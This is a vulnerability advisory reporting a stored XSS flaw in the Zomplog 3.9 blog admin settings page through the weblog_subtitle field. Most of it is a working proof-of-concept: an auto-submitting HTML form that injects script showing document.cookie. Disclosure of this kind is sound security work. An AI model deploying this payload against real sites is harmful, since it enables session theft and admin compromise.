XSS vulnerability in Zomplog

Vulnerability ID: HTB22642
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog.html
Product: Zomplog
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ )
Vulnerable Version: 3.9 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "weblog_subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings.php&quot; method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="Submit" value="Submit ››">
<input type="hidden" name="weblog_title" value="My Zomplog">
<input type="hidden" name="weblog_subtitle" value='weblog subtitle"><script>alert(document.cookie)</script>'>
<input type="hidden" name="language" value="english">
<input type="hidden" name="max" value="5">
<input type="hidden" name="scroll" value="5">
<input type="hidden" name="date" value="m d Y, G:i">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="use_upload" value="1">
<input type="hidden" name="use_tinymce" value="1">
<input type="hidden" name="pages_admin" value="1">
<input type="hidden" name="max_upload" value="300000">
<input type="hidden" name="img_width" value="150">
<input type="hidden" name="img_fullwidth" value="450">
<input type="hidden" name="admin_welcome" value="Welcome to the Zomplog Dashboard!">
<input type="hidden" name="site_welcome" value="Welcome to the Zomplog Site!">
<input type="hidden" name="rss_description" value="RSS site description">
<input type="hidden" name="rss_category" value="rss_category">
<input type="hidden" name="rss_language" value="rss_language">
<input type="hidden" name="rss_email" value="rss_email">
<input type="hidden" name="rss_url" value="rss_url">

</form>
<script>
document.main.submit();
</script>